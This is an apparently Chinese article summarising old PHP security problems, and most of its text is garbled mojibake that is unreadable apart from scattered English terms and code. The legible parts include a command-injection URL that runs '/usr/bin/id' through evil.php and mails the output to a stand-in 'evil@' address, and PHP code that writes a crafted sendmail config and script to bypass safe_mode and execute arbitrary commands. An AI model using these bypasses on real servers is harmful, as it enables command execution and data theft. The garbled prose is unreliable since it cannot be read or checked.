php安全问题总结.doc

php安全问题总结 PHP鍏跺疄涓嶈繃鏄疻eb鏈嶅姟鍣ㄧ殑涓€涓鍧楀姛鑳斤紝鎵€浠ラ鍏堣淇濊瘉Web鏈嶅姟鍣ㄧ殑瀹夊叏銆傚綋 鐒禬eb鏈嶅姟鍣ㄨ瀹夊叏鍙堝繀椤绘槸鍏堜繚璇佺郴缁熷畨鍏紝杩欐牱灏辨壇杩滀簡锛屾棤绌锋棤灏姐€侾HP鍙?浠ュ拰鍚勭鏈嶅姟鍣ㄧ粨鍚堬紝杩欓噷涔熷彧璁ㄨ銆傞潪甯稿缓璁互chroot鏂瑰紡瀹夎鍚姩 Apache锛岃繖鏍峰嵆浣緼pache鍜孭HP鍙婂叾鑴氭湰鍑虹幇婕忔礊锛屽彈褰卞搷鐨勪篃鍙湁杩欎釜绂侀敘鐨勭郴 缁燂紝涓嶄細鍗卞瀹為檯绯荤粺銆備絾鏄娇鐢╟hroot鐨凙pache鍚庯紝缁欏簲鐢ㄤ篃浼氬甫鏉ヤ竴瀹氱殑楹?鐑︼紝姣斿杩炴帴mysql鏃跺繀椤荤敤鍦板潃浣跨敤tcp杩炴帴鑰屼笉鑳界敤localhost瀹炵幇s ocket杩炴帴锛岃繖鍦ㄦ晥鐜囦笂浼氱◢寰樊涓€鐐广€傝繕鏈塵ail鍑芥暟鍙戦€侀偖浠朵篃鏄釜闂锛屽洜涓?php.ini閲岀殑锛?[mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = me@ 閮芥槸閽堝骞冲彴锛屾墍浠ラ渶瑕佸湪chroot鐜涓嬭皟鏁村ソsendmail銆?浜屻€丳HP鏈韩闂 1銆佽繙绋嬫孩鍑?PHP-4.1.2浠ヤ笅鐨勬墍鏈夌増鏈兘瀛樺湪鏂囦欢涓婁紶杩滅▼缂撳啿鍖烘孩鍑烘紡娲烇紝鑰屼笖鏀诲嚮绋嬪簭宸?缁忓箍娉涙祦浼狅紝鎴愬姛鐜囬潪甯搁珮. 2銆佽繙绋嬫嫆缁濇湇鍔?PHP-4.2.0鍜孭HP-4.2.1瀛樺湪PHP multipart/form-data POST璇锋眰澶勭悊杩滅▼婕忔礊锛?铏界劧涓嶈兘鑾峰緱鏈湴鐢ㄦ埛鏉冮檺锛屼絾鏄篃鑳介€犳垚鎷掔粷鏈嶅姟銆?3銆乻afe_mode缁曡繃婕忔礊 杩樻湁PHP-4.2.2浠ヤ笅鍒癙HP-4.0.5鐗堟湰閮藉瓨鍦≒HP mail鍑芥暟缁曡繃safe_mode闄愬埗鎵ц 鍛戒护婕忔礊锛?.0.5鐗堟湰寮€濮媘ail鍑芥暟澧炲姞浜嗙浜斾釜鍙傛暟锛岀敱浜庤璁¤€呰€冭檻涓嶅懆鍙互 绐佺牬safe_mode鐨勯檺鍒舵墽琛屽懡浠ゃ€傚叾涓?.0.5鐗堟湰绐佺牬闈炲父绠€鍗曪紝鍙渶鐢ㄥ垎鍙烽殧寮€ 鍚庨潰鍔爏hell鍛戒护灏卞彲浠ヤ簡锛屾瘮濡傚瓨鍦≒HP鑴氭湰evil.php锛? 鎵ц濡備笅鐨刄RL锛?[url]/evil.php?bar=;/usr/bin/id[/url]銆€mail evil@ 杩欏皢id鎵ц鐨勭粨鏋滃彂閫佺粰evil@銆?瀵逛簬4.0.6鑷?.2.2鐨凱HP绐佺牬safe_mode闄愬埗鍏跺疄鏄埄鐢ㄤ簡sendmail鐨?C鍙傛暟锛屾墍 浠ョ郴缁熷繀椤绘槸浣跨敤sendmail銆傚涓嬬殑浠ｇ爜鑳藉绐佺牬safe_mode闄愬埗鎵ц鍛戒护锛?#娉ㄦ剰锛屼笅闈㈣繖涓や釜蹇呴』鏄笉瀛樺湪鐨勶紝 鎴栬€呭畠浠殑灞炰富鍜屾湰鑴氭湰鐨勫睘涓绘槸涓€鏍?$script=/tmp/script123; $cf=/tmp/cf123; $fd = fopen($cf, w); fwrite($fd, OQ/tmp Sparse=0 R$* . chr(9) . $#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script); fclose($fd); $fd = fopen($script, w); fwrite($fd, rm -f $script $cf; ); fwrite($fd, $cmd); fclose($fd); mail(nobody, , , , -C$cf); ? 杩樻槸浣跨敤浠ヤ笂鏈夐棶棰樼増鏈琍HP鐨勭敤鎴蜂竴瀹氳鍙婃椂鍗囩骇鍒版渶鏂扮増鏈紝杩欐牱鎵嶈兘娑堥櫎鍩?鏈殑瀹夊叏闂銆?涓夈€丳HP鏈韩鐨勫畨鍏ㄩ厤缃?PHP鐨勯厤缃潪甯哥伒娲伙紝鍙互閫氳繃php.ini, httpd.conf, .htaccess鏂囦欢锛堣鐩綍蹇?椤昏缃簡AllowOverride All鎴朞ptions锛夎繘琛岃缃紝杩樺彲浠ュ湪鑴氭湰绋嬪簭閲屼娇鐢╥ni_set()鍙婂叾浠栫殑鐗瑰畾鐨勫嚱 鏁拌繘琛岃缃€傞€氳繃phpinfo()鍜実et_cfg_var()鍑芥暟鍙互寰楀埌閰嶇疆閫夐」鐨勫悇涓€笺€?濡傛灉閰嶇疆閫夐」鏄敮涓€PHP_INI_SYSTEM灞炴€х殑锛屽繀椤婚€氳繃php.ini鍜宧ttpd.conf鏉ヤ慨 鏀癸紝瀹冧滑淇敼鐨勬槸PHP鐨凪aster鍊硷紝浣嗕慨鏀逛箣鍚庡繀椤婚噸鍚痑pache鎵嶈兘鐢熸晥銆傚叾涓璸h p.ini璁剧疆鐨勯€夐」鏄Web鏈嶅姟鍣ㄦ墍鏈夎剼鏈敓鏁堬紝httpd.conf閲岃缃殑閫夐」鏄璇?瀹氫箟鐨勭洰褰曚笅鎵€鏈夎剼鏈敓鏁堛€?濡傛灉杩樻湁鍏朵粬鐨凱HP